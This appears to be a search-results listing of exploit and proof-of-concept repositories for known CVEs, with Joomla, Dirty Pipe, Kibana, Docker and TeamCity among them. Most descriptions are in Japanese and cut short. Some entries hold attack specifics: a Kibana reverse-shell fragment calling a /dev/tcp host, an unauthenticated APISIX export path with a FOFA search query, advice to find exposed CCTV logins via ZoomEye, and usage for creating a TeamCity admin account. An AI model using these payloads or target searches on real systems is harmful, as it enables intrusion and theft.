135816 matches found
whisperpair-poc-tool
WhisperPair-PoC-Tool と研究 CVE-2025-36911 と Google Fast Pair エコシステムのセキュリティ脆弱性の詳細分析 ブログ記事 エグゼクティブサマリー Google Fast Pair は、Bluetooth ペアリングをシームレスにするために設計されました。通知をタップするだけで接続完了です。しかし、そのシームレスな体験がセキュリティ上の負債になったらどうなるでしょうか？ WhisperPair-PoC-Tool は、何百万もの Bluetooth アクセサリに影響を与える2つの重大な脆弱性クラス（不正なペアリングバイパスと Find My...
CVE-2023-23752
CVE-2023-23752 Joomla 未認可アクセス脆弱性 CVE-2023-23752 脆弱性説明 Joomlaは、PHPで記述されたオープンソースのコンテンツ管理システム（CMS）であり、MySQL、MSSQL、PostgreSQLなどの複数のデータベースシステムをサポートしています。アクセス制限の不備により、認可されていないアクセスがサーバーREST APIインターフェースに可能となります。 影響を受けるバージョン：Joomla 4.0.0 - 4.2.7 使用ヘルプ optional arguments: -h, --help show this help message...
CVE-2022-0847
CVE-2022-0847 Dirty Pipe 脆弱性 教育目的のみ ┌──vagrant㉿kali- └─$ ls -al /etc/passwd -rw-r--r-- 1 root root 3124 Mar 8 08:47 /etc/passwd ┌──vagrant㉿kali- └─$ head -n 1 /etc/passwd root:x:0:0:root:/root:/usr/bin/zsh ┌──vagrant㉿kali- └─$ echo foo /etc/passwd zsh: permission denied: /etc/passwd...
CVE-2020-2969
CVE-2020-2969 CVE-2020-2969 の PoC はこちらに文書化されています: https://packetstormsecurity.com/files/179027/Oracle-Database-Password-Hash-Unauthorized-Access.html...
CVE-2023-23752-Joomla
CVE-2023-23752-Joomla 免責事項： 本サイバーセキュリティツールは技術サポートのみを目的として提供されており、いかなるアプリケーションやビジネス行為も含みません。ユーザーが本ツールを使用する際、いかなる方法でも他人の正当な権利を損なってはなりません。 本ツールの実行はユーザーが提供する情報のみに依存し、関連する法律や規制に違反する内容は一切含まれません。ユーザーは本ツールを使用する際、提供する情報が合法、有効、真実かつ信頼できるものであることを確認しなければならず、そうでない場合には不利益が生じる可能性があります。...
kibana-RCE
CVE-2019-7609 kibana-RCE & /dev/tcp/10.10.20.166/8989 0&1";process.exit//' .propslabel.proto.env.NODEOPTIONS='--require /proc/self/environ' 0x02 Canvas をクリックして getshell...
CVE-2025-9074-Docker-Exploit
CVE-2025-9074 Docker コンテナコマンド実行ツール CVE-2025-9074 の脆弱性のセキュリティ研究とテストのための、強力な Docker リモート API エクスプロイトツールです。 主な利点 ✅ 完全自動のコンテナライフサイクル管理 : 一時コンテナを自動作成し、操作完了後に自動クリーンアップして痕跡を残しません ✅ インテリジェントなパス処理 : Windows パスを自動的に認識して Docker マウント形式に変換します ✅ 完全自動化された操作フロー : 複雑なコマンドの手動入力は不要で、メニュー形式の対話によりワンクリックでファイル操作を完了します ...
authz0
Authz0 is an automated authorization test tool. Unauthorized access can be identified based on URLs and Roles & Credentials. URLs and Roles are managed as YAML-based templates, which can be automatically created and added through authz0. You can also test based on multiple authentication headers...
CVE-2024-0044
CVE-2024-0044 概要 CVE-2024-0044 は、特定の Android アプリケーションで発見された脆弱性であり、攻撃者が run-as コマンドの欠陥を悪用して特権を昇格できるようにします。この脆弱性は、本来は攻撃者がアクセスできないはずのアプリケーションデータディレクトリへの不正アクセスを許可する特定のペイロードを作成することで悪用される可能性があります。 概要 この Bash スクリプトは、悪意のある APK をターゲットデバイスにプッシュし、必要な UID を抽出し、ペイロードを生成し、adb...
CVE-2021-22205
CVE-2021-22205 Pocsuite3 For CVE-2021-22205、未認証RCE。...
CVE-2025-29972
CVE-2025-29927 - Next.js における重大なセキュリティ脆弱性 概要 CVE-2025-29927 は、フルスタック Web アプリケーション開発に広く用いられる React フレームワーク Next.js に影響する重大なセキュリティ脆弱性です。この欠陥により、攻撃者は Next.js のミドルウェアに実装された認可チェックを回避し、管理ページ やユーザーダッシュボード などの重要なアプリケーション領域への不正アクセスが可能になります。 脆弱性の詳細 この脆弱性は、内部的な x-middleware-subrequest...
CVE-2021-22192
CVE-2021-22192 CVE-2021-22192 ラボ: 権限のないユーザーによる RCE 脆弱性 0x10 ラボ環境 0x20 ディレクトリ構成 CVE-2021-22192 ├── README.md ............... この README の説明 ├── imgs .................... README の説明を補助する画像 ├── gitlab .................. Gitlab コンテナのマウントディレクトリ │ ├── Dockerfile .......... Gitlab の Docker ビルドファイル │ ├──...
wpscvn
wpscvn is a tool for pentesters, website owner to test if their websites had some vulnerable plugins or themes The author does not hold any responsibility for the bad use of this tool, remember that attacking targets without prior consent is illegal and punished by law. requires : Python 3 usage ...
CVE-2021-45232
Apache APISIX Dashboard 未承認アクセス脆弱性 CVE-2021-45232 FOFA クエリ title="Apache APISIX Dashboard" 影響範囲 Apache APISIX Dashboard 2.10.1 POC: IP:PORT/apisix/admin/migrate/export 修正提案 最新のセキュリティバージョン Apache APISIX Dashboard 2.10.1 にアップグレードしてください：https://github.com/apache/apisix-dashboard/releases/tag/v2.10.1...
CentralizedFirewall
ファイアウォールマネージャーAPIプロジェクト インストール 以下の手順に従ってAPIプロジェクトをセットアップして実行します。 1. リポジトリのクローン git clone https://github.com/adriyansyah-mf/CentralizedFirewall cd CentralizedFirewall 2. .env ファイルの編集 設定に応じて.envの環境変数を更新します。 nano .env 3. Docker ComposeでAPIを起動 docker compose up -d これにより、APIがデタッチモードで起動します。 4...
HTC
攻击CCTV DVR凭据泄露 | CVE-2018-9995 | 安防摄像头泄露用户名用于获取登录权限 如何使用？ 打开 https://www.zoomeye.org/ 搜索关键词 '/login.rsp' 等待获取IP和端口 $ python3 thecctv.py 更多信息 操作系统 | 语言 | 联系方式 ---|---|--- Linux Ubuntu | Pythonv3 | [email protected] Keyw0rd上传此 3...
minio_unauth_check
miniounauthcheck CVE-2023-28432、MinIO 情報漏洩検出ツール このツールは教育および研究目的のみに使用され、セキュリティ意識を高め、ソフトウェア開発の実践を改善するためのものです。このツールを使用する前に、関連する法律法規および倫理規範を遵守していることを確認してください。 開発環境： python3 使用方式（支持单个URL检测和批量检测）：//url做了合规处理，支持输入ip、ip:port样式 单个检测：python miniounauthcheck.py -u 示例：python miniounauthcheck.py -u...
CVE-2023-42793
CVE-2023-42793 の説明 JetBrains TeamCity のセキュリティ脆弱性により、攻撃者は（攻撃者が指定した）新しいユーザーを管理者権限で作成できます。 使用例 ./cve-2023-42793 http://teamcity.examplewebsite.com username password...